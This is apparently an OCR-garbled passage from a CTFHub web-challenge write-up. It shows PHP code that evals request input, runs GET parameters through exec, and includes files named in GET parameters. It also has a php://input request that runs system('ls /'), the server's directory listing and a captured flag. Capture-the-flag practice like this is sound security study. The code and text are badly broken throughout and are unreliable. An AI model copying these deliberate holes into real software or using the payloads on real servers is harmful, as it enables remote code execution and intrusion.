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if (isset($_REQUEST][ ) {
eval($_REQUEST[ s

} else {
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<?php

$res FALSE;

if (isset($_GET[ D) $ GET[
$cmd {$_GET[

exec($cmd, $res);

DOCTYPE html
html
head
title>CTFHub #r&vEN-JidiE</title
head
body
h1>CTFHub #4¥EN-TFoid#E</hl
form action method
label for IP : label><br

input type id name

input type value

form

print_r($res);

pre

php
show_source(__FILE_ );

body
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Array
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[0] => PING 127.0.0.1 (127.0.0.1): 56 data bytes
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Array

[0] => 27510189983556. php
[1] => index. php
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<!DOCTYPE html>
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b <head> =< /head>
<h1>CTFHUb aisiE A -FidiE</his
b <form action="#" method="GET">» [/ </form>

<hr>»
v ¢pre> [#ES

Array ( [8] =»
<I--?php // ctfhub{d@cd9e7fffo65975b8a8ab8B} ) </pre--»

b <code>l= ¢</code> [EHZ
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</body>»
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error_reporting(0);
if (isset($_GET[
if (!strpos($_GET[
include $_GET[
} else {

echo
¥
} else {
highlight_file(__FILE_ );
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backups

cache
lib
local
lock
log
mail

opt
run

spool
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if ( substr($_GET[ 1, o, 6)
include($_GET[ 1D
} else {
echo
s
} else {
highlight file(__ FILE_ );
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1 BET /?file=php://input HTTP/1.1
2 Host: challenge-a70b7b9d4645fbe7. sandbox. ct fhub. com: 10800
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win&4; x64; rv:52.0) Gecko/Z0100101 Firefox/SZ.0
4 Accept: text/htnl,application/xhtml+xml, application/xnl;g=0.9%9,inage/webp,*/*,q=0.8
5 Accept-Language: zh-CN,zh,;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
- Accept-Encoding: gzip, deflate
Connection: close
Cookie: UM distinctid=17b5dSdb4e8bB-04clabdcE3225f-4c3eZ47b-144000-17b5d5db4e53e0
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12 <?php system("ls /") 2=
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2 Server: openresty/1.15.3.2

pr-Lang : pate: Fri, 17 Sep Z021 11:32:71 GMT
np:—Fncu 4 Content-Type: text/html; charset=UTF-8
::?1;;: 5 Content-Length: 17&
rade=Ing € Connection: close
.ent-Len ' *-Powered-By: PHP/5.6.40

Vary: Accept-Encoding
1p systeg 2 Access-Control-Allow-Origin: *

11 Access-Control-Allow-Methods: *

13 bin
14 boot
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12 home
1% |1lib
0 libE4
media
mnt
opt
24 proe
25 root
ZE run
27 sbin
28 srv
25 sys
0 tmp
31 usr
32 var
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10 Access-Control-Allow-Headers: X-Requested-With
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